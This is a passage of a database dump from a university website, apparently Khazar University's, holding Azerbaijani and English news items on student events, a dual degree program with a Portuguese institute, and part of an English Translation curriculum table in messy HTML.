karyera” ilə bağlı tələbələrlə dəyirmi masa müzakirəsi keçirildi. Görüşdə bu sahədə 20 ildən artıq peşəkar təcrübəyə malik olan “Şəms” Tərcümə Xidmətləri Mərkəzinin Baş direktoru Nəsimi Həsənov bu sahədə topladığı təcrübəsini tələbələrlə bölüşdü. İlk olaraq, tərcüməçilikdə mövcud olan karyera perspektivləri ilə bağlı geniş məlumat verildi. O, öz yanaşmasında gənclərə real hadisələri nümunə gətirərək, onların gələcək karyeralarında nəzərə almalı olduqları mühüm məqamlardan bəhs etdi, qazanılan dil bacarıqlarının peşəkar bir şəkildə necə istifadə edilməli olduğu ilə bağlı da öz tövsiyələrini verdi. Müzakirələrdə “Şəms” Tərcümə Xidmətləri Mərkəzinin İnspeksiya&nbsp;şöbəsinin rəhbəri Rövşən Ələkbərov da istirak edirdi.</p><p>Son olaraq, Nəsimi Həsənov tələbələri maraqlandıran sualları cavablandırdı.</p>'),(4792,2848,'az','Xəzər Universitetinin tələbələri Uşaq Psixonevroloji Mərkəzində oldular','2018-ci il yanvarın 12-də Xəzər Universitetinin Təhsil; Mühəndislik və tətbiqi elmlər; İqtisadiyyat və menecment fakültələrinin...','<p>2018-ci il yanvarın 12-də Xəzər Universitetinin Təhsil; Mühəndislik və tətbiqi elmlər; İqtisadiyyat və menecment fakültələrinin birinci kurs tələbələrinin N.Nərimanov rayonunda yerləşən Uşaq Psixonevroloji Mərkəzindəki uşaqlarla görüşü keçirildi.</p><p>Görüşdə tələbə-könüllülər uşaqlar üçün əyləncəli proqram təqdim etməklə yanaşı, onlara müxtəlif hədiyyələr təqdim etdilər.</p>'),(5216,3026,'en','Staff members of University visit Gabala, Ismayilli and Shamakhi','On March 2 and 3, 2018, Fuat Rasulov, Coordinator of working group for prospective students...','<p>On March 2 and 3, 2018, Fuat Rasulov, Coordinator of working group for prospective students, Alovsat Amirbayli, Director for Public Relations and Media, and Baba Bayramli, Coordinator for work with graduates, visited Gabala, Ismayilli and Shamakhi. University delegation met with Yashar Nasirov, Head of Gabala city Education Department, and gave him detailed information about Khazar University. On suggestion of Head of Department, delegation met with students and teachers of Boarding school number 4, the biggest school of the Gabala city. Later, delegation met students and teachers of “Gabala” course, the biggest tuition course of Gabala city. At both meetings delegation delivered full information about Khazar University.</p><p>In the afternoon, University delegation met with Hasan Karimov, Head of “Niyal” tuition course situated in Ismayilli city, and gave him detailed information on university and provided him with various informative materials.</p><p>The delegation held a meeting with students and teachers of Technical, Natural and Humanitarian Sciences lyceum in Shamakhi city on March 3. There was also a meeting with Taleh Mansimov, Head of “Shamakhi” tuition course, and students of the course. During the meeting, it</p><p>was decided to organize an excursion to Khazar University for the students of the course, and held a meeting with university administration.</p><p>On the way back to Baku, university delegation visited the monument to the Turkish martyr, situated in Gobustan, on behalf of the university.</p>'),(5217,3027,'az','“Dünya” məktəbində “Zəlzələ zamanı davranış qaydaları” adlı tədbir keçirildi','2017-ci il martın 7-də sizinyol.com xəbər saytı, AzərTAc-a istinadən, Xəzər Universitetinin...','<p>2017-ci il martın 7-də <strong><em>sizinyol.com</em></strong> xəbər saytı, AzərTAc-a istinadən, Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbinin IV sinif şagirdləri üçün Azərbaycan Milli Elmlər Akademiyası (AMEA) nəzdində Respublika Seysmoloji Xidmət Mərkəzinin (RSXM) keçirdiyi “Zəlzələ zamanı davranış qaydaları” adlı maarifləndirmə tədbiri barədə xəbər yaymışdır.</p><p>Tədbirlə bağlı daha geniş məlumatı bu link vasitəsilə əldə etmək olar:&nbsp;</p><p><a href=\"http://sizinyol.com/2018/03/zəlzələ-zamani-davranis-qaydalari/\">http://sizinyol.com/2018/03/zəlzələ-zamani-davranis-qaydalari/</a></p>'),(5218,3027,'en','Awareness raising workshop “How to react in case of earthquake” at “Dunya” school','On March 7, 2018, sizinyol.com news portal posted news, with reference to AzərTAc...','<p>On March 7, 2018, <strong><em>sizinyol.com</em></strong> news portal posted news, with reference to AzərTAc, on awareness raising workshop on “How to react in case of earthquake”, held by Republican Seismic Survey Center affiliated with Azerbaijan National Academy of Sciences, at “Dunya” school for students of IV grade.</p>\r\n<p>For further information:</p><p><a href=\"http://sizinyol.com/2018/03/z%C9%99lz%C9%99l%C9%99-zamani-davranis-qaydalari/\">http://sizinyol.com/2018/03/zəlzələ-zamani-davranis-qaydalari/</a><br></p>'),(5990,3421,'en','A new academic year begins at Khazar University','On September 15, 2018, a ceremony dedicated to the start of a new academic year was held at Khazar University...','<p>On September 15, 2018, a ceremony dedicated to the start of a new academic year was held at Khazar University. The ceremony was attended by University administration and staff as well as newly admitted students, their parents and guests.</p><p>The ceremony started with the State Anthem of Azerbaijan. Prof. Hamlet Isakhanli, Founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a speech and congratulated newly admitted students, and talked about international relations of, and suitable education environment at the University for the comprehensive development of students. Dr. Hassan Niknafs, Rector, also congratulated the students and wished them success.</p><p>H.Isakhanli, H.Niknafs, Jeyhun Mammadov, Dean of the School of Economics and Management, Jabir Khalilov, Dean of the School of Humanities and Social Sciences, and Elza Samadova, Dean of the School of Education, presented a group of students, with high scores of admission, with student IDs and gifts, and had memory photos taken with them.</p><p>Tamerlan Abdullayev (the School of Engineering and Applied Sciences, Computer Engineering specialty), who finished secondary school with a gold medal and scored 690 points, delivered a speech on behalf of new students and mentioned that with his brother Tugay (690 points, the School of Engineering and Applied Sciences, Computer Sciences specialty), he preferred Khazar University since they recognize Khazar University offering education of high quality, and congratulated the students.</p><p>A concert program, which was organized by the Department of Music and Fine Arts, was implemented by Mahsati Jabbarli, instructor of Khazar University and a soloist of the State Academic Opera and Ballet Theater named after M.Akhundov, and the students of Khazar university. After the concert, Isakhan Isakhanli, Vice-rector for Administration and Student Affairs, invited the students to the classrooms.</p><p>Deans, Heads of Departments and staff informed the students about the University and specialties and answered students\' questions.</p><p>Another new academic year started at Khazar University.</p>'),(5196,3016,'en','Dual Degree Programs','','<h4><br></h4><h3>Dual Degree Diploma: Study one academic year in Europe and get a dual degree diploma</h3><h3>Khazar University and&nbsp;Polytechnic Institute of Bragança (IPB), Portugal&nbsp;</h3><div><br></div><p>REQUIREMENTS:</p><p>Level of Study:</p><p>&nbsp; &nbsp; - Bachelor: have completed 6 (six) semesters of study and accumulated 180 ECTS</p><p>&nbsp; &nbsp; - Master: have completed 2 (two) semesters and accumulated 60 ECTS</p><p>Programs/Majors:</p><p>&nbsp; &nbsp; - Bachelor: Management</p><p>&nbsp; &nbsp; - Master:&nbsp;Management (MBA)</p><p>Tuition Fee and Cost of Living: international students can study and live in Bragança (Portugal) for less than 400 EUR/month (including tuition fee)</p><p>&nbsp; &nbsp; - Tuition Fee: 1090 EUR/year (it can be paid in 10-months installments of 109 EUR each)</p><p>&nbsp; &nbsp; - Accommodation: students can rent a shared room for 110 EUR/month</p><p>&nbsp; &nbsp; - Meals: students can use the University’s academic restaurant for 2,30 EUR per complete meal</p>'),(4820,2851,'en','“Happy New Chinese Year” ceremony was held for the pupils of “Dunya” school','Library-Information Centre of Khazar University organized a “Happy New Chinese Year” party for the pupils of “Dunya” school...','<p>Library-Information Centre of Khazar University organized a “Happy New Chinese Year” party for the pupils of “Dunya” school, January 17, 2018, within “Chinese corner” project.</p><p>Aytaj Misgarli, Vice-director of Library-Information Centre, opened the ceremony and gave full information about “Chinese corner” project.</p><p>Leyla Jabrayilova, Vice-director on Educational Issues (Russian division) of “Dunya” school, greeted Luo Xiaozh, Dean of Confucius Institute affiliated Baku State University, and teaching staff and expressed her gratitude for their collaboration.</p><p>Then Samira Orujova, a staff member of Library-Information Centre of Khazar University, introduced artifacts to students and recommended them to be active in practical activities. All the participants were satisfied with the event and thanked the organizers.</p><p>At the end of the ceremony, all the students were awarded with special gifts.</p>'),(4821,2852,'en','A report of creative students','On January 16, a report meeting on results of the first semester of the first year students studying in Design, the School of Humanities and Social Sciences...','<p>On January 16, a report meeting on results of the first semester of the first year students studying in Design, the School of Humanities and Social Sciences, as well as students studying in carpet-weaving, painting, chorus and vocal of the Department of Music and Art, was held in Marmar hall of Khazar University.</p><p>University administration, staff members, student and guests participated in the ceremony.</p><p>A huge exhibition of handicrafts of students studying in design, carpet-weaving and painting, was demonstrated in Marmar hall. Afag Karimova, a design teacher and carpet painter&nbsp;introduced students to participants and students, in their turn, presented their handicrafts, got feedback and exchanged views with participants.</p><p>Then students studying in chorus and vocal started to perform their program under artistic guide by honored teacher, pianist, Associate Professor Zulfiyya Sadigova, Director of the Department of Music and Art.</p><p>Soloists and choir consisting of students of the School of Education, Narmin Ibrahimova, Shamsiyya Jafarova, Afeliya Gojayeva, Tarana Mammadli, and Nijat Ismayilov, a student of the School of Economy and Management, sang Azerbaijan national and composer songs as well as foreign songs in the Turkish, Russian and English languages under artistic guide by Mashati Jabbarova, the soloist of the State Academic Philharmonic named after Muslim Magomayev.</p><p>Coposer Vugar Jamalzadeh, Firangiz Nasirova, head teacher of the Department of the English Language and Literature, and Prof. Hamlet Isakhanli, the founder of Khazar University and Chairman of its Board of Directors and Trustees, delivered a speech and appreciated handicrafts and performance of the students.</p>'),(4791,604,'az','Kurikulum','','<h3 style=\"text-align:center\"><strong>School\r\nof Humanities and Social Sciences</strong></h3>\r\n<h3 style=\"text-align:center\"><strong>Curriculum\r\n</strong></h3>\r\n<h3 style=\"text-align:center\"><strong>Bachelor\r\nProgram in English Translation (132 credits)</strong></h3>\r\n<p><strong>&nbsp;</strong></p>\r\n<table width=\"981\" cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"83\">\r\n  <p><strong>Code</strong></p>\r\n  </td>\r\n  <td width=\"270\">\r\n  <p><strong>Course</strong></p>\r\n  </td>\r\n  <td width=\"60\">\r\n  <p><strong>Credits</strong></p>\r\n  </td>\r\n  <td width=\"57\">\r\n  <p><strong>Note</strong></p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:solid=\"\" black=\"\" 1.0pt;border-left:none;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>Code</strong></p>\r\n  </td>\r\n  <td width=\"306\">\r\n  <p><strong>Course</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" width=\"60\">\r\n  <p><strong>Credits</strong></p>\r\n  </td>\r\n  <td width=\"45\">\r\n  <p><strong>Note</strong></p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:290.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"387\">\r\n<strong>I\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"4\" style=\"\" width:308.25pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt;height:28.3pt\";vertical-align:top\"=\"\" width=\"411\">\r\n  <strong>II\r\n  semester (Spring)</strong>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>ENGL 101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>English Foundations-1 ( 12 hours)</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>ENGL 102</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>English Foundations-2 (12 hours)</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>4</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>UR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>AZLL\r\n  101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Azerbaijani\r\n  Language </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>AZLL\r\n  105</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Azerbaijani\r\n  Literature </p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>UR</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Azerbaijani\r\n  Culture </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p><strong>CMS\r\n  101</strong></p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Introduction\r\n  to CS(Math and Natural Sciences-1)</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Social\r\n  – 1&nbsp;&nbsp; </p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>GER</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Social\r\n  – 2 (Mülki\r\n  müdafiə)</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>GER</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>HIST\r\n  150</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p>Azerbaijani\r\n  history</p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>UR</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p>Azerbaijan\r\n  language 2 &nbsp;</p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>3</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td style=\"\" width:202.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"270\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:43.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"57\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"99\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n  <td style=\"\" width:229.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"306\">\r\n  <p><strong>Total\r\n  # of credits</strong></p>\r\n  </td>\r\n  <td colspan=\"2\" style=\"\" width:45.0pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"60\">\r\n  <p>16</p>\r\n  </td>\r\n  <td style=\"\" width:33.75pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"45\">\r\n  <p>&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr id=\"zebra\">\r\n  <td style=\"\" width:62.1pt;border-top:none;border-left:solid=\"\" black=\"\" 1.0pt;border-bottom:solid=\"\" 1.0pt;border-right:solid=\"\" windowtext=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"83\">\r\n  <p><strong>&nbsp;</strong></p>\r\n  </td>\r\n  <td colspan=\"3\" style=\"\" width:290.6pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0cm=\"\" 5.4pt=\"\" 0cm=\"\" 5.4pt\";vertical-align:top\"=\"\" width=\"387\">\r\n  <strong>III\r\n  semester (Fall)</strong>\r\n  </td>\r\n  <td style=\"\" width:74.5pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 